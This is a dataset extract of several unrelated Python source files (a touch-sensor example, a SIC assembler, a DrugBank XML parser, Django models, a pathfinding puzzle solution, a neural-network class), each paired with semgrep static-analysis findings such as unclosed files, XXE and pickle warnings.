"url": "https://raw.githubusercontent.com/Jerry233333/micropython-mpr121/0066ef51a6c7fc16b3f9b210e2c81349caefbb0f/examples/irq-key-down/irq-key-down.py",
"visit_date": "2023-04-22T05:31:02.839145"
} | 3.015625 | stackv2 | """
Prints "Key n pressed" on key down.
Prints duplicates when multiple key are pressed.
The interrupt fires when any key is pressed or released.
Without storing previous state, on the n+1th key down all keys are treated
as just pressed.
"""
import mpr121
from machine import Pin, I2C
i2c = I2C(3) # stm32
#i2c = I2C(scl=Pin(5), sda=Pin(4)) # esp8266
#i2c = I2C(scl=Pin(22), sda=Pin(21)) # esp32
mpr = mpr121.MPR121(i2c)
# check keys one by one
def handler(p):
for i in range(12):
if mpr.is_touched(i):
print('Key {} pressed'.format(i))
d3 = Pin('D3', Pin.IN, Pin.PULL_UP)
d3.irq(lambda p:handler(p), Pin.IRQ_FALLING)
| 26 | 23.92 | 74 | 14 | 232 | python | [{"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_b1c6a62d756d223d_8cfd38b5", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 26, "line_end": 26, "column_start": 17, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/b1c6a62d756d223d.py", "start": {"line": 26, "col": 17, "offset": 619}, "end": {"line": 26, "col": 27, "offset": 629}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
""
] | [
"rules.python.lang.maintainability.return-not-in-function"
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""
] | [
""
] | irq-key-down.py | /examples/irq-key-down/irq-key-down.py | Jerry233333/micropython-mpr121 | MIT | |
2024-11-18T19:31:06.300677+00:00 | 1,421,141,490,000 | bba72cffe2f345638792421a4e169ee578cebdb1 | 3 | {
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"visit_date": "2020-04-19T21:52:06.275211"
} | 2.71875 | stackv2 | import json
from errors import LineFieldsError
def get_dict():
f = open('json_dict','r')
return json.load(f)
op_table = get_dict()
registers_table = {'A': 0,
'X': 1,
'L': 2,
'PC': 8,
"SW": 9
}
#indexed addressing
indexed = lambda x: str(x).endswith(',X')
class SicFormat():
"""sic format
8 1 15
===================================
|op |x| disp |
===================================
"""
def __init__(self,symtab,source_line):
self._symtab = symtab
self._line_number = source_line.line_number
self._mnemonic = source_line.mnemonic
self._location = None;
self._disp = source_line.operand
self._content = source_line
def generate(self):
"""generate the object code for the instruction"""
if self._mnemonic is None:
raise LineFieldsError(message = "mnemonic was not specified")
output = ""
#opcode
opcode_lookup = str(op_table[self._mnemonic])
if self._disp is not None:
if indexed(self._disp):
self._disp = self._disp[:len(self._disp)-2]
symbol_address = self._symtab.get(self._disp)
modified_symbol_address = int(str(symbol_address),16) + 32768
symbol_address = str(hex(modified_symbol_address))[2:]
else:
symbol_address = self._symtab.get(self._content.operand)[2:]
else:
symbol_address = '0000'
output = opcode_lookup + symbol_address
hex_output = hex(int(str(output),16))[2:].zfill(6).upper()
return self._mnemonic, self._disp, hex_output
def to_binary(hex_string):
return bin(int(str(hex_string),16))[2:]
| 64 | 24.47 | 65 | 19 | 441 | python | [{"finding_id": "semgrep_rules.python.lang.best-practice.open-never-closed_c469a1250c66cf51_4b3476aa", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.open-never-closed", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "file object opened without corresponding close", "remediation": "", "location": {"file_path": "unknown", "line_start": 5, "line_end": 5, "column_start": 2, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.open-never-closed", "path": "/tmp/tmpb8jm_z1l/c469a1250c66cf51.py", "start": {"line": 5, "col": 2, "offset": 66}, "end": {"line": 5, "col": 27, "offset": 91}, "extra": {"message": "file object opened without corresponding close", "metadata": {"category": "best-practice", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_c469a1250c66cf51_f533a801", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 5, "line_end": 5, "column_start": 6, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmpb8jm_z1l/c469a1250c66cf51.py", "start": {"line": 5, "col": 6, "offset": 70}, "end": {"line": 5, "col": 27, "offset": 91}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.return-not-in-function_c469a1250c66cf51_1a3f9f19", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.return-not-in-function", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "`return` only makes sense inside a function", "remediation": "", "location": {"file_path": "unknown", "line_start": 19, "line_end": 19, "column_start": 21, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.return-not-in-function", "path": "/tmp/tmpb8jm_z1l/c469a1250c66cf51.py", "start": {"line": 19, "col": 21, "offset": 335}, "end": {"line": 19, "col": 42, "offset": 356}, "extra": {"message": "`return` only makes sense inside a function", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 3 | true | [
""
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"rules.python.lang.maintainability.return-not-in-function"
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19
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21
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""
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""
] | [
""
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} | 2.40625 | stackv2 | # -*- coding: utf-8 -*-
"""
Created on Fri Mar 8 13:34:44 2019
You are not expected to understand my codes!
@Author: Kotori_Y
@Blog: blog.moyule.me
@Weibo: Michariel
@Mail: yzjkid9@gmial.com
I love Megumi forerver!
"""
import xml.etree.ElementTree as ET
import os
import pandas as pd
os.chdir(r'C:\DrugBank\ver5.1.2')
file = 'full database.xml'
SMIS = []
MWS = []
MFS = []
INchikey = []
Name = []
Id = []
CAS = []
ATCS = []
http = '{http://www.drugbank.ca}'
tree = ET.parse(file)
drugs = tree.getroot()
for drug in drugs:
SMI = None
MW = None
MF = None
inchikey = None
ATC = []
name,bank_id,cas = drug.findall(http+'name'),drug[0],drug.findall(http+'cas-number')
for exp in drug.findall(http+'experimental-properties'):
for property in exp.findall(http+'property'):
for kind,value in zip(property.findall(http+'kind'),property.findall(http+'value')):
if kind.text == 'Molecular Weight':
MW = value.text
elif kind.text == 'Molecular Formula':
MF = value.text
else:
pass
for cal in drug.findall(http+'calculated-properties'):
for property in cal.findall(http+'property'):
for kind,value in zip(property.findall(http+'kind'),property.findall(http+'value')):
if kind.text == 'Molecular Weight' and MW == None:
MW = value.text
elif kind.text == 'SMILES':
SMI = value.text
elif kind.text == 'InChIKey':
inchikey = value.text
elif kind.text == 'Molecular Formula':
MF = value.text
else:
pass
for atcs in drug.findall(http+'atc-codes'):
for atc in atcs.findall(http+'atc-code'):
ATC.append(atc.attrib['code'])
Id.append(bank_id.text)
Name.append(name[0].text)
MFS.append(MF)
MWS.append(MW)
CAS.append(cas[0].text)
ATCS.append(ATC)
INchikey.append(inchikey)
SMIS.append(SMI)
df = pd.DataFrame()
df['DrugBank_ID'] = Id
df['Name'] = Name
df['Molecular_Formula'] = MFS
df['Molecular_Weight'] = MWS
df['CAS'] = CAS
df['ATC_Code'] = ATCS
df['InChIKey'] = INchikey
df['SMILES'] = SMIS
#df.to_csv('DrugBank_Version5.1.1.csv',index=False) | 110 | 20.83 | 96 | 16 | 639 | python | [{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_f6a6a94e43d457ec_fccc520c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 15, "line_end": 15, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmpb8jm_z1l/f6a6a94e43d457ec.py", "start": {"line": 15, "col": 1, "offset": 224}, "end": {"line": 15, "col": 35, "offset": 258}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-611"
] | [
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] | [
"security"
] | [
"LOW"
] | [
"HIGH"
] | [
15
] | [
15
] | [
1
] | [
35
] | [
"A04:2017 - XML External Entities (XXE)"
] | [
"The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service."
] | [
7.5
] | [
"LOW"
] | [
"MEDIUM"
] | ExtractFromDrugbank.py | /py_work/spider/xml/ExtractFromDrugbank.py | kotori-y/kotori_work | MIT | |
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} | 2.328125 | stackv2 | from django.contrib.gis.geos import Point
from django.contrib.gis.db.models import *
from django.utils.timezone import utc
from django.contrib.auth.models import User
from django.db.models.signals import pre_delete, post_save
from django.dispatch import receiver
from django.core.cache import cache
from django.core.management import call_command
from django_countries import CountryField
from taggit.managers import TaggableManager
from paintstore.fields import ColorPickerField
from datetime import *
from futures.validators import *
from futures.utils import unique_slugify
import random
class Base(Model):
"""
Base model for all of the models in ff.
"""
class Meta:
abstract = True
created = DateTimeField(auto_now_add=True, editable=False)
updated = DateTimeField(auto_now=True, editable=False)
is_active = BooleanField(default=1)
def __unicode__(self):
if hasattr(self, "title") and self.title:
return self.title
else:
return "%s" % (type(self))
class UserProfile(Base):
user = OneToOneField(User)
display_name = CharField(max_length=50)
city = CharField(max_length=100, blank=True, null=True)
state = CharField(max_length=255, blank=True, null=True)
country = CountryField(blank=True, null=True)
number = CharField(max_length=30, blank=True, null=True)
country_code = CharField(max_length=10, blank=True, null=True)
slug = SlugField()
class MapSetting(Base):
BASEMAP_CHOICES = (
('dymaxion', 'Dymaxion'),
('openstreetmap', 'OpenStreetMap'),
('googlemaps', 'GoogleMaps'),
)
title = CharField(
max_length=100,
blank=True,
null=True
)
basemap = CharField(
max_length=20,
choices=BASEMAP_CHOICES,
default='dymaxion',
blank=False,
null=False,
)
initial_bounds = PolygonField(
'Map Region',
blank=True,
null=True,
help_text='The region specified here will be '
'the default view for this project.'
)
zoom_enabled = BooleanField(
default=True
)
mapdisplay_fill_color = ColorPickerField(
'Map Graphic Fill Color',
default='#000000',
blank=True,
help_text='The hex value (eg #00FF00 for green)'
)
mapdisplay_fill_opacity = FloatField(
'Map Graphic Fill Opacity',
default=1.0,
blank=True,
help_text='Numeric value between 0 and 1'
)
mapdisplay_stroke_color = ColorPickerField(
'Map Graphic Stroke Color',
default='#000000',
blank=True,
help_text='The hex value (eg #00FF00 for green)'
)
mapdisplay_stroke_opacity = FloatField(
'Map Graphic Stroke Opacity',
default=1.0,
blank=True,
help_text='Numeric value between 0 and 1'
)
mapdisplay_point_radius = IntegerField(
'Map Point Radius',
max_length=3,
default=2,
blank=True,
help_text='The radius of a point on the map'
)
mapdisplay_size = IntegerField(
'Map Graphic Size',
default=8,
blank=True,
null=True,
help_text='In pixels'
)
def get_random_point(self, extent):
xmin, ymin, xmax, ymax = extent
xrange = xmax - xmin
yrange = ymax - ymin
randx = xrange * random.random() + xmin
randy = yrange * random.random() + ymin
return Point(randx, randy, srid=4326)
def random_point_in_map_bounds(self):
polygon = self.initial_bounds
point = self.get_random_point(polygon.extent)
while not polygon.contains(point):
point = self.get_random_point(polygon.extent)
return point
class Collection(Base):
title = CharField(max_length=100, blank=False, null=True)
slug = SlugField(max_length=120, blank=False, null=False)
description = TextField(blank=True, null=True)
map_setting = ForeignKey(MapSetting, blank=True, null=True)
def add_voicemail(self, title, location, audio_url):
point = self.map_setting.random_point_in_map_bounds()
slug = "%s-%s" % (title, random.randint(0, 999999))
geosound = GeoSound(
title=title,
location=location,
slug=slug,
point=point,
)
geosound.save()
geosound.collections.add(self)
if audio_url is not None:
call_command(
'save_file_from_url', url=audio_url, object_pk=geosound.pk)
call_command('collectstatic', interactive=False)
def __unicode__(self):
return unicode(self.title)
class GeoSound(Base):
class Meta:
verbose_name_plural = "geosounds"
def random_z():
return round(random.uniform(-12.0, 12.0), 2)
def random_default_volume():
return round(random.uniform(0.2, 0.8), 2)
sound = FileField(upload_to="uploads", max_length=150, blank=True, null=True)
title = CharField(max_length=100, blank=True, null=True)
location = CharField(max_length=150, blank=True, null=True)
story = TextField(blank=True, null=True)
created_by = CharField(max_length=100, blank=False, null=True)
user = ForeignKey(User, blank=True, null=True)
slug = SlugField(max_length=100)
point = PointField()
z = FloatField(default=random_z)
default_volume = FloatField(default=random_default_volume)
collections = ManyToManyField(Collection, related_name="collections")
tags = TaggableManager(blank=True)
objects = GeoManager()
def is_recent():
def fget(self):
now = datetime.utcnow().replace(tzinfo=utc)
week_ago = now - timedelta(days=7)
return self.created > week_ago
return locals()
def just_added():
def fget(self):
now = datetime.utcnow().replace(tzinfo=utc)
minute_ago = now - timedelta(seconds=60)
return self.created > minute_ago
return locals()
is_recent = property(**is_recent())
just_added = property(**just_added())
def save_upload(self, filename, lat, lon, tags, collection_slug, *args, **kwargs):
from django.contrib.gis.geos import Point
"save geosound after ajax uploading an mp3 file"
# store point from coordinates
self.point = Point(lon, lat, srid=4326)
# try finding an existing user by the "created_by" field
try:
self.user = User.objects.get(username=self.created_by)
except User.DoesNotExist:
pass
# create a title for the sound
self.title = "recorded in %s by %s" % (self.location, self.created_by)
if self.slug is None or self.slug.__len__() == 0:
self.slug = unique_slugify(GeoSound, self.title)
# save sound
self.sound = filename
# save model
super(GeoSound, self).save(*args, **kwargs)
# save tags to sound
for t in tags:
self.tags.add(t)
# connect the sound to the v3 collection
v3_collection, created = Collection.objects.get_or_create(
title='fantastic futures v3',
defaults={'title': 'fantastic futures v3'}
)
self.collections.add(v3_collection)
if collection_slug is not None:
try:
collection = Collection.objects.get(slug=collection_slug)
self.collections.add(collection)
except Collection.DoesNotExist:
pass
# return the newly created model
return self
def __unicode__(self):
return unicode(self.title)
def get_tags(self):
return ",".join([tag.name for tag in self.tags.all()])
@receiver(pre_delete, sender=GeoSound)
@receiver(post_save, sender=GeoSound)
def invalidate_json_sounds(sender, **kwargs):
cache.delete('json_sounds')
class Connection(Base):
sound_1 = ForeignKey(GeoSound, related_name="sound_1")
sound_1_volume = FloatField(default=0.8)
sound_2 = ForeignKey(GeoSound, related_name="sound_2")
sound_2_volume = FloatField(default=0.8)
def __unicode__(self):
return u"%s - %s" % (self.sound_1.title, self.sound_2.title)
class Constellation(Base):
class Meta:
verbose_name_plural = "constellations"
title = CharField(max_length=100, blank=False, null=False)
created_by = CharField(max_length=100, blank=False, null=True)
location = CharField(max_length=150, blank=True, null=True)
user = ForeignKey(User, blank=True, null=True)
slug = SlugField()
connections = ManyToManyField(Connection, related_name="connections")
rotation_x = FloatField(default=0)
rotation_y = FloatField(default=0)
rotation_z = FloatField(default=0)
zoom = FloatField(default=1.0)
def __unicode__(self):
return self.title
def save_ajax(self, rotation, *args, **kwargs):
# try finding an existing user by the "created_by" field
try:
self.user = User.objects.get(username=self.created_by)
except User.DoesNotExist:
pass
# rotation
self.rotation_x = rotation['x']
self.rotation_y = rotation['y']
self.rotation_z = rotation['z']
# save model
super(Constellation, self).save(*args, **kwargs)
# return the newly created model
return self
@receiver(pre_delete, sender=Constellation)
@receiver(post_save, sender=Constellation)
def invalidate_json_constellations(sender, **kwargs):
cache.delete('json_constellations')
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] | models.py | /ff/apps/futures/models.py | orzubalsky/fantastic-futures | BSD-2-Clause-Views | |
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} | 3.296875 | stackv2 | #!/usr/bin/env python3
from collections import defaultdict
raw_input = open("input.txt").read()
risk_map = [[int(c) for c in line] for line in raw_input.splitlines()]
current_cost = 0 # evaluating this level now
visited = {(0, 0)} # store visited coords
cost_map = [[0] * len(risk_map[0]) for _ in risk_map]
x_max, y_max = len(cost_map[0]), len(cost_map)
next_positions = defaultdict(list)
next_positions[0] = [((0, 1), 0), ((1, 0), 0)]
while True:
current_level = sorted(
next_positions[current_cost], key=lambda p: risk_map[p[0][1]][p[0][0]]
) # check for lower risk coords first
for pos, pos_cost in current_level:
if pos in visited or pos_cost < current_cost:
# already visited or
# cannot reach this cell through that path
continue
visited.add(pos)
new_cost = pos_cost + risk_map[pos[1]][pos[0]]
cost_map[pos[1]][pos[0]] = new_cost
for p in [(-1, 0), (0, -1), (1, 0), (0, 1)]:
new_pos = (pos[0] + p[0], pos[1] + p[1])
if (
0 <= new_pos[0] < x_max
and 0 <= new_pos[1] < y_max
and new_pos not in visited
):
next_positions[new_cost].append((new_pos, new_cost))
current_cost += 1
if max(next_positions.keys()) < current_cost:
print("Solution to part 1:", cost_map[-1][-1])
break
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] | dojo.py | /2021_12_15/dojo.py | globocom/dojo | MIT | |
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} | 2.53125 | stackv2 | from pyglet.gl import *
from cocos.director import director
def exec():
return 0
def test_a():
assert exec()==0
# Direct OpenGL commands to this window.
director.init()
window = director.window
joysticks = pyglet.input.get_joysticks()
if joysticks:
joystick = joysticks[0]
print(joystick)
@window.event
def on_draw():
glClear(GL_COLOR_BUFFER_BIT)
glLoadIdentity()
glBegin(GL_TRIANGLES)
glVertex2f(0, 0)
glVertex2f(window.width, 0)
glVertex2f(window.width, window.height)
glEnd()
@joystick.event
def on_joybutton_press(joystick, button):
print(joystick, button)
director.run()
| 35 | 16.97 | 43 | 9 | 164 | python | [{"finding_id": "semgrep_rules.python.lang.security.audit.exec-detected_bbdbbc32cf01cb2e_a79b24ae", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.exec-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 8, "line_end": 8, "column_start": 12, "column_end": 18, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.exec-detected", "path": "/tmp/tmpb8jm_z1l/bbdbbc32cf01cb2e.py", "start": {"line": 8, "col": 12, "offset": 112}, "end": {"line": 8, "col": 18, "offset": 118}, "extra": {"message": "Detected the use of exec(). exec() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b102_exec_used.html", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
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"LOW"
] | [
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] | temp_display.py | /src/temp_display.py | LLNT/3X-Project | MIT | |
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} | 2.921875 | stackv2 | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Fri Oct 2 15:13:41 2020
@author: rjn
"""
from deeplearning.utils import batch_iterator
from tabulate import tabulate
import sys
from tqdm import tqdm
import time
import datetime
import pickle
import cupy as cp
import numpy as np
class NeuralNetwork():
"""Neural Network. Deep Learning base model.
Parameters:
-----------
optimizer: class
The weight optimizer that will be used to tune the weights in order of minimizing
the loss.
loss: class
Loss function used to measure the model's performance.
"""
def __init__(self, optimizer, loss):
self.optimizer = optimizer
self.layers = []
self.errors = {"training": [], "validation": []}
self.loss_function = loss()
def set_trainable(self, trainable):
""" Method which enables freezing of the weights of the network's layers."""
for layer in self.layers:
layer.trainable = trainable
def add(self, layer):
""" Method which adds a layer to the neural network """
# If this is not the first layer added then set the input shape
# to the output shape of the last added layer
if self.layers:
layer.set_input_shape(shape=self.layers[-1].determin_output_shape())
layer.valid_layer()
# If the layer has weights that needs to be initialized
if hasattr(layer, 'initialize'):
layer.initialize(optimizer=self.optimizer)
# Add layer to the network
self.layers.append(layer)
def test_on_batch(self, X, y):
""" Evaluates the model over a single batch of samples """
y_pred = self._forward_pass(cp.asarray(X), training=False)
loss = cp.mean(self.loss_function.loss(cp.asarray(y), y_pred))
acc = self.loss_function.acc(y, y_pred)
return loss, acc
def train_on_batch(self, X, y):
""" Single gradient update over one batch of samples """
y_pred = self._forward_pass(cp.asarray(X))
cp.cuda.Stream.null.synchronize()
loss = self.loss_function.loss(cp.asarray(y), y_pred)
cp.cuda.Stream.null.synchronize()
# acc = self.loss_function.acc(y, y_pred)
# Calculate the gradient of the loss function wrt y_pred
loss_grad = self.loss_function.gradient(cp.asarray(y), y_pred)
cp.cuda.Stream.null.synchronize()
# # Backpropagate. Update weights
self._backward_pass(loss_grad=loss_grad)
cp.cuda.Stream.null.synchronize()
return loss
def fit(self, X, y, n_epochs, batch_size, val_set=None):
""" Trains the model for a fixed number of epochs """
for epo in range(1, n_epochs+1):
print('n_epochs: ', epo ,end ='\n')
batch_error = []
start = time.time()
tot = np.round(X.shape[0] / batch_size)
i = 0
for X_batch, y_batch in batch_iterator(X, y, batch_size=batch_size):
X_batch = X_batch.astype('float32')
X_batch = X_batch / 255
y_batch = y_batch.astype('float32')
y_batch = (y_batch - 48) / 48
loss = self.train_on_batch(X_batch, y_batch)
batch_error.append(loss)
t = datetime.timedelta(seconds= (time.time() - start))
i += 1
sys.stdout.write('\r' + 'time: ' + str(t) + ' complete: ' +
str(np.round((i/tot),3)) + ' t_loss: ' + str(loss))
self.errors["training"].append(np.mean(batch_error))
print('\t')
if val_set is not None:
for X_batch, y_batch in batch_iterator(val_set[0], val_set[1], batch_size=batch_size):
X_batch = X_batch.astype('float32')
X_batch = X_batch / 255
y_batch = y_batch.astype('float32')
y_batch = (y_batch - 48) / 48
val_loss, _ = self.test_on_batch(X_batch, y_batch)
sys.stdout.write('\r' + ' val_loss:', str(val_loss))
self.errors["validation"].append(val_loss)
if save_files:
self.save()
if callback:
callback(self)
print()
del X,y, X_batch , y_batch , val_set
return self.errors["training"], self.errors["validation"]
def save(self , name = 'model.pkl'):
name = '/home/rjn/Pictures/' + name
pickle.dump(self, open(name, 'wb'),pickle.HIGHEST_PROTOCOL)
def _forward_pass(self, X, training=True):
""" Calculate the output of the NN """
for layer in self.layers:
X = layer.forward_pass(X.copy(), training)
return X
def _backward_pass(self, loss_grad):
""" Propagate the gradient 'backwards' and update the weights in each layer """
for layer in reversed(self.layers):
loss_grad = layer.backward_pass(loss_grad)
def get_weights(self):
table_data = np.array([['layer_name', 'parameterW', 'parameterb']])
for n,layer in tqdm(enumerate(self.layers)):
parameter = layer.load_parameters()
layer_name = layer.layer_name() + '_' + str(n)
W = parameter['W']
b = parameter['b']
table_data = np.append( table_data, [[layer_name,W,b]],axis =0)
print()
print(tabulate(table_data[:,:1],tablefmt="fancy_grid"))
return table_data
def load_weights(self,loader):
for n,values in enumerate(zip(self.layers, loader)):
layer = values[0]
values = values[1]
print(values[0])
shap = layer.load_parameters()
if shap is not None:
shap = (cp.asarray(shap["W"]).shape , cp.asarray(shap["b"]).shape)
print('orig ' , shap)
W = cp.asarray(values[1])
b = cp.asarray([])
if values[2] is not None:
b = cp.asarray(values[2])
sshap = (W.shape, b.shape)
print('loader ' , sshap)
if shap == sshap :
layer.set_weights((W,b))
shap = layer.load_parameters()
shap = (shap["W"].shape , shap["b"].shape)
print('after ' , sshap)
print()
def summary(self, name="Model Summary"):
# Print model name
# Network input shape (first layer's input shape)
# Iterate through network and get each layer's configuration
table_data = [ ["Input Shape:", self.layers[0].input_shape],
["Layer Type", "Parameters", "Output Shape"]]
tot_params = 0
for n,layer in tqdm(enumerate(self.layers)):
layer_name = layer.layer_name() + '_' + str(n)
params = layer.parameters()
out_shape = layer.determin_output_shape()
table_data.append([layer_name, str(params), str(out_shape)])
tot_params += params
# Print network configuration table
table_data.append(["Total Parameters: ", tot_params ])
print()
print(tabulate(table_data,tablefmt="grid"))
del table_data
def predict(self, X):
""" Use the trained model to predict labels of X """
X = cp.asarray(X) / 255
return self._forward_pass(X).get()
| 234 | 33.29 | 102 | 22 | 1,721 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_cd4e17849ddc841d_50a1d56c", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 139, "line_end": 139, "column_start": 9, "column_end": 68, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpb8jm_z1l/cd4e17849ddc841d.py", "start": {"line": 139, "col": 9, "offset": 4697}, "end": {"line": 139, "col": 68, "offset": 4756}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
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] | [
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} | 2.390625 | stackv2 | from urllib import request
__author__ = 'James'
import json
import requests
from django.http import HttpResponse
from django.views import generic
from .models import portal
